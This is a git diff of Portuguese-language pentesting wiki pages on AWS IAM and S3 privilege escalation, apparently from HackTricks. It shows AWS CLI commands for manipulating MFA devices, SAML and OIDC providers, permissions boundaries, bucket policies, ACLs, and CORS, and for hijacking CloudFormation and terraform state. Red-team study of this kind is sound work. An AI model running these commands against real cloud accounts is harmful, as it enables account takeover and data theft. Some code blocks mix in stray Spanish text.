-**Impacto:** Escalada de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
+**Impacto:** Escalação de privilégios indireta ao habilitar acesso ao CodeCommit ou desabilitar a proteção MFA.
### **`iam:ResyncMFADevice`**
-Permite a ressincronização de um dispositivo MFA, potencialmente levando a escalada de privilégios indireta ao manipular a proteção MFA.
+Permite ressincronizar um dispositivo MFA, o que pode levar a uma escalação de privilégios indireta ao manipular a proteção MFA.
-**Comando Bash:**
+**Bash Command:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impacto:** Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.
+**Impacto:** Indirect privilege escalation por adicionar ou manipular dispositivos MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Então, você poderia abusar da **federação SAML** para **fazer login** com qualquer **role que confie nela**.
+Com essas permissões você pode **alterar os metadados XML da conexão SAML**. Em seguida, você poderia abusar da **SAML federation** para **login** com qualquer **role que confia nela**.
-Observe que, ao fazer isso, **usuários legítimos não conseguirão fazer login**. No entanto, você pode obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.
+Observe que ao fazer isso **usuários legítimos não poderão fazer login**. No entanto, você pode obter o XML, substituir pelo seu, fazer login e restaurar a configuração anterior.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
+> TODO: Uma ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
+(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-Essa permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
+Esta permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em um role existente. O risco surge quando alguém com essa permissão altera o boundary do role: ele pode restringir operações de forma imprópria (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que o role pode fazer e escalar privilégios.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
## Referências
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index 946359d4f..afb235f25 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Um atacante com essas permissões sobre buckets interessantes pode conseguir sequestrar recursos e escalar privilégios.
+Um atacante com essas permissões sobre buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.
-Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser concedido com a seguinte política:
+Por exemplo, um atacante com essas **permissões sobre um bucket cloudformation** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser dado com a seguinte política:
```json
{
"Version": "2012-10-17",
@@ -34,28 +34,28 @@ Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket*
]
}
```
-E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **acionada quando uma bucket notification for enviada**, e **sequestra** o **conteúdo** daquele **bucket**.
+E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que **dispara quando uma notification do bucket é enviada**, e **hijacks** o **conteúdo** desse **bucket**.
.png>)
O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar esse ataque.\
-Para mais informações consulte a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Para mais informações ver a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-Estas são as permissões para **obter e enviar objetos para S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **config files**.\
-Um atacante com **read access** a eles pode encontrar **informação sensível** neles.\
-Um atacante com **write access** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
+Estas são as permissões para **baixar e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **arquivos de configuração**.\
+Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** nesses arquivos.\
+Um atacante com **acesso de escrita** pode **modificar os dados para abusar algum serviço e tentar escalar privilégios**.\
Estes são alguns exemplos:
-- Se uma instância EC2 estiver armazenando os **user data em um S3 bucket**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**.
+- Se uma instância EC2 estiver armazenando o **user data em um bucket S3**, um atacante poderia modificá-lo para **executar código arbitrário dentro da instância EC2**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-É muito comum que os arquivos de state do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo de arquivo para um state file é `.tfstate`, e os nomes dos buckets muitas vezes também denunciam que contêm terraform state files. Normalmente, toda conta AWS tem um bucket desse tipo para armazenar os state files que mostram o estado da conta.
-Também é comum, em contas do mundo real, que quase sempre todos os developers tenham `s3:*` e às vezes até business users tenham `s3:Put*`.
+É muito comum que os arquivos de estado do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo do arquivo de estado é `.tfstate`, e os nomes dos buckets frequentemente também indicam que contêm arquivos de estado do terraform. Normalmente, toda conta AWS tem um bucket desses para armazenar os arquivos de estado que mostram o estado da conta.
+Além disso, no mundo real quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócio têm `s3:Put*`.
-Então, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` — na maioria das vezes `AdministratorAccess`, tornando você o admin da conta cloud. Além disso, você pode usar esse vetor para causar um ataque de denial of service fazendo o `terraform` deletar recursos legítimos.
+Portanto, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` - na maioria das vezes `AdministratorAccess`, tornando você administrador da conta cloud. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo o `terraform` deletar recursos legítimos.
Siga a descrição na seção *Abusing Terraform State Files* da página *Terraform Security* para código de exploit diretamente utilizável:
@@ -65,7 +65,7 @@ Siga a descrição na seção *Abusing Terraform State Files* da página *Terraf
### `s3:PutBucketPolicy`
-Um atacante, que precisa ser **da mesma conta** — caso contrário o erro `The specified method is not allowed` será acionado — com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s), permitindo ler, escrever, modificar, deletar e expor buckets.
+Um atacante, que precisa ser **da mesma conta**, caso contrário o erro `The specified method is not allowed will trigger`, com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s) permitindo que ele leia, escreva, modifique, delete e exponha buckets.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Um atacante poderia abusar dessas permissões para conceder a si mesmo maior acesso a objetos específicos dentro de buckets.
+Um atacante poderia abusar dessas permissões para conceder a si mesmo mais acesso a objetos específicos dentro de buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Um atacante com esses privilégios deve ser capaz de colocar um Acl em uma versão específica do objeto
+Um atacante com esses privilégios deve ser capaz de aplicar um Acl a uma versão específica do objeto
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Um atacante com a permissão s3:PutBucketCORS pode modificar a configuração CORS (Cross-Origin Resource Sharing) de um bucket, que controla quais domínios web podem acessar seus endpoints. Se definir uma política permissiva, qualquer site poderia fazer requisições diretas ao bucket e ler as respostas a partir de um navegador.
+
+Isso significa que, potencialmente, se um usuário autenticado de um web app hospedado no bucket visitar o site do atacante, o atacante poderia explorar a política CORS permissiva e, dependendo da aplicação, acessar os dados de perfil do usuário ou até assumir a conta do usuário.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}
.png)
.png)
.png)